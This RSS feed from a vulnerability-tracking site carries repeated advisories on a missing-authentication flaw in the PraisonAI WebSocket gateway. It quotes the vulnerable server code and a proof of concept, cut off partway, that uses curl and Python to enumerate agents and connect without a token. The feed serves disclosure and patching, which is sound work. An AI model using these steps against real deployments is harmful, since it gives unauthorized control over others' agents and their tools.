<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 12 Oct 2026 22:15:46 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-280397</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-280397</link>
      <description>EUVD-2026-280397</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-280397</guid>
    </item>
    <item>
      <title>fkie_cve-2026-34952</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-34952</link>
      <description>&lt;p&gt;PraisonAI is a multi-agent teams system. Prior to version 4.5.97, the PraisonAI Gateway server accepts WebSocket connections at /ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets. This issue has been patched in version 4.5.97.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;PraisonAI is a multi-agent teams system. Prior to version 4.5.97, the PraisonAI Gateway server accepts WebSocket connections at /ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets. This issue has been patched in version 4.5.97.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-34952</guid>
    </item>
    <item>
      <title>GHSA-cfh6-vr3j-qc3g — PraisonAI Has Missing Authentication in WebSocket Gateway</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-cfh6-vr3j-qc3g</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonai&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The PraisonAI Gateway server accepts WebSocket connections at `/ws` and serves agent topology at `/info` with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`gateway/server.py:242` (source) -&amp;gt; `gateway/server.py:250` (sink)
```python
# source -- /info leaks all agent IDs with no auth
async def info(request):
    return JSONResponse({
        &amp;#34;agents&amp;#34;: list(self._agents.keys()),
        &amp;#34;sessions&amp;#34;: len(self._sessions),
        &amp;#34;clients&amp;#34;: len(self._clients),
    })&lt;/p&gt;
&lt;p&gt;# sink -- WebSocket accepted unconditionally, no token check
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()
    client_id = str(uuid.uuid4())
    self._clients[client_id] = websocket
    # processes any message from any client
```&lt;/p&gt;
&lt;p&gt;### PoC
```bash
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
# start server:
# python3 -c &amp;#34;import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host=&amp;#39;127.0.0.1&amp;#39;, port=8765).start())&amp;#34; &amp;amp;&lt;/p&gt;
&lt;p&gt;# Step 1 - enumerate agents, no auth
curl -s http://127.0.0.1:8765/info
# expected output: {&amp;#34;name&amp;#34;:&amp;#34;PraisonAI Gateway&amp;#34;,&amp;#34;version&amp;#34;:&amp;#34;1.0.0&amp;#34;,&amp;#34;agents&amp;#34;:[...],&amp;#34;sessions&amp;#34;:0,&amp;#34;clients&amp;#34;:0}&lt;/p&gt;
&lt;p&gt;# Step 2 - connect to WebSocket, no token
python3 -c &amp;#34;
import asyncio, websockets, json
async def run():
    async with websockets.connect(&amp;#39;ws://127.0.0.1:8765/ws&amp;#39;) as ws:
        print(&amp;#39;Con…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonai&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The PraisonAI Gateway server accepts WebSocket connections at `/ws` and serves agent topology at `/info` with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`gateway/server.py:242` (source) -&amp;gt; `gateway/server.py:250` (sink)
```python
# source -- /info leaks all agent IDs with no auth
async def info(request):
    return JSONResponse({
        &amp;#34;agents&amp;#34;: list(self._agents.keys()),
        &amp;#34;sessions&amp;#34;: len(self._sessions),
        &amp;#34;clients&amp;#34;: len(self._clients),
    })&lt;/p&gt;
&lt;p&gt;# sink -- WebSocket accepted unconditionally, no token check
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()
    client_id = str(uuid.uuid4())
    self._clients[client_id] = websocket
    # processes any message from any client
```&lt;/p&gt;
&lt;p&gt;### PoC
```bash
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
# start server:
# python3 -c &amp;#34;import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host=&amp;#39;127.0.0.1&amp;#39;, port=8765).start())&amp;#34; &amp;amp;&lt;/p&gt;
&lt;p&gt;# Step 1 - enumerate agents, no auth
curl -s http://127.0.0.1:8765/info
# expected output: {&amp;#34;name&amp;#34;:&amp;#34;PraisonAI Gateway&amp;#34;,&amp;#34;version&amp;#34;:&amp;#34;1.0.0&amp;#34;,&amp;#34;agents&amp;#34;:[...],&amp;#34;sessions&amp;#34;:0,&amp;#34;clients&amp;#34;:0}&lt;/p&gt;
&lt;p&gt;# Step 2 - connect to WebSocket, no token
python3 -c &amp;#34;
import asyncio, websockets, json
async def run():
    async with websockets.connect(&amp;#39;ws://127.0.0.1:8765/ws&amp;#39;) as ws:
        print(&amp;#39;Con…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-cfh6-vr3j-qc3g</guid>
    </item>
    <item>
      <title>PYSEC-2026-474 — PraisonAI Has Missing Authentication in WebSocket Gateway</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2026-474</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonai&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The PraisonAI Gateway server accepts WebSocket connections at `/ws` and serves agent topology at `/info` with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`gateway/server.py:242` (source) -&amp;gt; `gateway/server.py:250` (sink)
```python
# source -- /info leaks all agent IDs with no auth
async def info(request):
    return JSONResponse({
        &amp;#34;agents&amp;#34;: list(self._agents.keys()),
        &amp;#34;sessions&amp;#34;: len(self._sessions),
        &amp;#34;clients&amp;#34;: len(self._clients),
    })&lt;/p&gt;
&lt;p&gt;# sink -- WebSocket accepted unconditionally, no token check
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()
    client_id = str(uuid.uuid4())
    self._clients[client_id] = websocket
    # processes any message from any client
```&lt;/p&gt;
&lt;p&gt;### PoC
```bash
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
# start server:
# python3 -c &amp;#34;import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host=&amp;#39;127.0.0.1&amp;#39;, port=8765).start())&amp;#34; &amp;amp;&lt;/p&gt;
&lt;p&gt;# Step 1 - enumerate agents, no auth
curl -s http://127.0.0.1:8765/info
# expected output: {&amp;#34;name&amp;#34;:&amp;#34;PraisonAI Gateway&amp;#34;,&amp;#34;version&amp;#34;:&amp;#34;1.0.0&amp;#34;,&amp;#34;agents&amp;#34;:[...],&amp;#34;sessions&amp;#34;:0,&amp;#34;clients&amp;#34;:0}&lt;/p&gt;
&lt;p&gt;# Step 2 - connect to WebSocket, no token
python3 -c &amp;#34;
 import asyncio, websockets, json
async def run():
    async with websockets.connect(&amp;#39;ws://127.0.0.1:8765/ws&amp;#39;) as ws:
        print(&amp;#39;Co…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonai&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The PraisonAI Gateway server accepts WebSocket connections at `/ws` and serves agent topology at `/info` with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`gateway/server.py:242` (source) -&amp;gt; `gateway/server.py:250` (sink)
```python
# source -- /info leaks all agent IDs with no auth
async def info(request):
    return JSONResponse({
        &amp;#34;agents&amp;#34;: list(self._agents.keys()),
        &amp;#34;sessions&amp;#34;: len(self._sessions),
        &amp;#34;clients&amp;#34;: len(self._clients),
    })&lt;/p&gt;
&lt;p&gt;# sink -- WebSocket accepted unconditionally, no token check
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()
    client_id = str(uuid.uuid4())
    self._clients[client_id] = websocket
    # processes any message from any client
```&lt;/p&gt;
&lt;p&gt;### PoC
```bash
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
# start server:
# python3 -c &amp;#34;import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host=&amp;#39;127.0.0.1&amp;#39;, port=8765).start())&amp;#34; &amp;amp;&lt;/p&gt;
&lt;p&gt;# Step 1 - enumerate agents, no auth
curl -s http://127.0.0.1:8765/info
# expected output: {&amp;#34;name&amp;#34;:&amp;#34;PraisonAI Gateway&amp;#34;,&amp;#34;version&amp;#34;:&amp;#34;1.0.0&amp;#34;,&amp;#34;agents&amp;#34;:[...],&amp;#34;sessions&amp;#34;:0,&amp;#34;clients&amp;#34;:0}&lt;/p&gt;
&lt;p&gt;# Step 2 - connect to WebSocket, no token
python3 -c &amp;#34;
 import asyncio, websockets, json
async def run():
    async with websockets.connect(&amp;#39;ws://127.0.0.1:8765/ws&amp;#39;) as ws:
        print(&amp;#39;Co…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2026-474</guid>
    </item>
  </channel>
</rss>
